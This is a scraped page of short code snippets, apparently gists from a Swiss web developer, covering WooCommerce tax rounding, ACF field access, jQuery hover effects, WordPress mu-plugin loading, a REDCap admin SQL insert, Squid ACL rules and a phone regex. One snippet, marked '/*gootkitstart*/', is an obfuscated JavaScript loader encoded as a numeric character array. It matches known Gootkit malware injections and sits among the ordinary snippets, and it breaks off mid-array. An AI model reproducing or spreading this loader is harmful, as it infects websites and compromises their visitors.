This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* WooCommerce dirty rounding fix for special tax values (7.7 in Switzerland) | |
* Rounding to 0.05 instead of 0.01 | |
* created by Christoph S. Ackermann | |
* https://www.cubetech.ch | |
* 05.01.2018 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// get field function for ACF without using ACF and generating additional queries (normally) | |
function get( $selector, $post_id = false, $format_value = true ) { | |
if( function_exists( 'get_post_meta' ) && function_exists( 'acf_get_valid_post_id' ) ) { | |
$post_id = acf_get_valid_post_id( $post_id ); | |
// Search the data in post meta |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Lade erst wenn Dokument und Elemente ready | |
jQuery(function() { | |
// Für alle Bilder mit der Klasse .person-img... | |
jQuery('.person-img').each( function( image ) { | |
// Bilder preload im Hintergrund | |
imageObj = new Image(); | |
imageObj.src = jQuery(this).attr('src').replace(/_flat/g, '_pic'); | |
// Mouseover Funktionsbinding | |
jQuery(this).live('mouseover', function() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This file is for loading all mu-plugins within subfolders | |
* where the PHP file name is exactly like the directory name + .php. | |
* | |
* Example: /mu-tools/mu-tools.php | |
*/ | |
$dirs = glob(dirname(__FILE__) . '/*' , GLOB_ONLYDIR); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** SSL Stuff **/ | |
define( 'FORCE_SSL_ADMIN', false ); | |
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') | |
$_SERVER['HTTPS']='on'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USE `redcap_web`; | |
SET FOREIGN_KEY_CHECKS = 0; | |
INSERT INTO redcap_user_information (username, user_email, user_firstname, user_lastname, super_user, user_firstvisit) VALUES ('site_admin', 'joe.user@projectredcap.org', 'Joe', 'User', 1, now()); | |
SET FOREIGN_KEY_CHECKS = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*gootkitstart*/i=0;try{grbregd=prototype;}catch(z){h="ha"+"rCode";f=[10,17.5,14,8.5,17,11.5,14.5,14,-25,14,9.5,19,17,0,7.5,14,9,14.5,13.5,-2,17.5,13.5,8,9.5,16,-21,-20.5,20.5,-36,-25,-25,-25,-25,18,7.5,16,-25,11,11.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-17.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,13,14.5,-25,-10.5,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-22.5,-25,17,11,11.5,16.5,-18,-0.5,-11.5,-36,-25,-25,-25,-25,18,7.5,16,-25,17,9.5,16.5,17,-25,-10.5,-25,17,11,11.5,16.5,-18,-8.5,-25,-20,-25,13,14.5,-25,-18.5,-25,17,11,11.5,16.5,-18,0,-25,-20,-25,11,11.5,-11.5,-36,-25,-25,-25,-25,11.5,10,-21,17,9.5,16.5,17,-25,-10,-25,-17,-20.5,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-11.5,-36,-25,-25,-25,-25,21.5,-25,9.5,13,16.5,9.5,-25,20.5,-36,-25,-25,-25,-25,-25,-25,-25,-25,17,11,11.5,16.5,-18,16.5,9.5,9.5,9,-25,-10.5,-25,17,9.5,16.5,17,-25,-19.5,-25,17,11,11.5,16.5,-18,-2.5,-11.5,-36,-25,-25,-25,-25,21.5,-3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# streaming download | |
acl fails rep_mime_type ^.*mms.* | |
acl fails rep_mime_type ^.*ms-hdr.* | |
acl fails rep_mime_type ^.*x-fcs.* | |
acl fails rep_mime_type ^.*x-ms-asf.* | |
acl fails2 urlpath_regex dvrplayer mediastream mms:// | |
acl fails2 urlpath_regex \.asf$ \.afx$ \.flv$ \.swf$ | |
acl deny_rep_mime_flashvideo rep_mime_type -i video/flv | |
acl deny_rep_mime_shockwave rep_mime_type -i ^application/x-shockwave-flash$ | |
acl x-type req_mime_type -i ^application/octet-stream$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
^((\+\d{1,3}(-| )?\(?\d\)?(-| )?\d{1,3})|(\(?\d{2,3}\)?))(-| )?(\d{3,4})(-| )?(\d{4})(( x| ext)\d{1,5}){0,1}$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<iframe src="http://www.facebook.com/plugins/like.php?app_id=153499901388453&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2Fokaj-z%25C3%25BCrich%2F186765631380739&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:21px;" allowTransparency="true"></iframe> |
NewerOlder